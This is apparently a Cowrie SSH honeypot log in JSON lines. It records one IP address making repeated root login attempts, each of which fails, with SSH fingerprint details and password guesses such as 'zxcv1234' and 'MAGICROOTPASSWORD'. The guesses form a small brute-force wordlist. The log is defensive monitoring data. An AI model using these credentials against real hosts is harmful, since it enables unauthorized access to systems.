{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:58.342856Z","src_ip":"60.165.124.241","session":"4b3c7a05d905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.zun.com","message":"login attempt [root/www.zun.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:59.100278Z","src_ip":"60.165.124.241","session":"4b3c7a05d905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:00.342959Z","src_ip":"60.165.124.241","session":"4b3c7a05d905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60818,"dst_ip":"10.17.0.5","dst_port":22,"session":"5485feb54f44","protocol":"ssh","message":"New connection: 60.165.124.241:60818 (10.17.0.5:22) [session: 5485feb54f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:00.576710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:00.582033Z","src_ip":"60.165.124.241","session":"5485feb54f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:00.835525Z","src_ip":"60.165.124.241","session":"5485feb54f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456789","message":"login attempt [root/admin123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:01.558273Z","src_ip":"60.165.124.241","session":"5485feb54f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:02.804732Z","src_ip":"60.165.124.241","session":"5485feb54f44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35558,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3dc2ddaf97b","protocol":"ssh","message":"New connection: 60.165.124.241:35558 (10.17.0.5:22) [session: f3dc2ddaf97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:03.052094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:03.057234Z","src_ip":"60.165.124.241","session":"f3dc2ddaf97b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:03.305900Z","src_ip":"60.165.124.241","session":"f3dc2ddaf97b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv1234","message":"login attempt [root/zxcv1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:04.031497Z","src_ip":"60.165.124.241","session":"f3dc2ddaf97b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:05.281261Z","src_ip":"60.165.124.241","session":"f3dc2ddaf97b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38174,"dst_ip":"10.17.0.5","dst_port":22,"session":"290a9dab31a1","protocol":"ssh","message":"New connection: 60.165.124.241:38174 (10.17.0.5:22) [session: 290a9dab31a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:05.533810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:05.539057Z","src_ip":"60.165.124.241","session":"290a9dab31a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:05.781194Z","src_ip":"60.165.124.241","session":"290a9dab31a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sandra","message":"login attempt [root/sandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:06.518897Z","src_ip":"60.165.124.241","session":"290a9dab31a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:07.771959Z","src_ip":"60.165.124.241","session":"290a9dab31a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40976,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf948143e59","protocol":"ssh","message":"New connection: 60.165.124.241:40976 (10.17.0.5:22) [session: edf948143e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:08.012610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:08.017223Z","src_ip":"60.165.124.241","session":"edf948143e59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:08.269113Z","src_ip":"60.165.124.241","session":"edf948143e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAAbbb111","message":"login attempt [root/AAAbbb111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:09.020449Z","src_ip":"60.165.124.241","session":"edf948143e59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:10.261273Z","src_ip":"60.165.124.241","session":"edf948143e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43768,"dst_ip":"10.17.0.5","dst_port":22,"session":"8591a70f2ac6","protocol":"ssh","message":"New connection: 60.165.124.241:43768 (10.17.0.5:22) [session: 8591a70f2ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:10.531726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:10.535779Z","src_ip":"60.165.124.241","session":"8591a70f2ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:10.797207Z","src_ip":"60.165.124.241","session":"8591a70f2ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:11.581799Z","src_ip":"60.165.124.241","session":"8591a70f2ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:12.840774Z","src_ip":"60.165.124.241","session":"8591a70f2ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46656,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d200f533042","protocol":"ssh","message":"New connection: 60.165.124.241:46656 (10.17.0.5:22) [session: 1d200f533042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:13.071809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:13.076816Z","src_ip":"60.165.124.241","session":"1d200f533042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:13.331802Z","src_ip":"60.165.124.241","session":"1d200f533042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MAGICROOTPASSWORD","message":"login attempt [root/MAGICROOTPASSWORD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:14.085304Z","src_ip":"60.165.124.241","session":"1d200f533042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:15.330787Z","src_ip":"60.165.124.241","session":"1d200f533042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49812,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c590d3a9da2","protocol":"ssh","message":"New connection: 60.165.124.241:49812 (10.17.0.5:22) [session: 3c590d3a9da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:15.579625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:15.583768Z","src_ip":"60.165.124.241","session":"3c590d3a9da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:15.830843Z","src_ip":"60.165.124.241","session":"3c590d3a9da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"netscout","message":"login attempt [root/netscout] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:16.551795Z","src_ip":"60.165.124.241","session":"3c590d3a9da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:17.803031Z","src_ip":"60.165.124.241","session":"3c590d3a9da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52318,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c3d2117c96a","protocol":"ssh","message":"New connection: 60.165.124.241:52318 (10.17.0.5:22) [session: 1c3d2117c96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:18.046618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:18.051642Z","src_ip":"60.165.124.241","session":"1c3d2117c96a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:18.303964Z","src_ip":"60.165.124.241","session":"1c3d2117c96a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avonline","message":"login attempt [root/avonline] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:19.039796Z","src_ip":"60.165.124.241","session":"1c3d2117c96a","protocol":"ssh"}
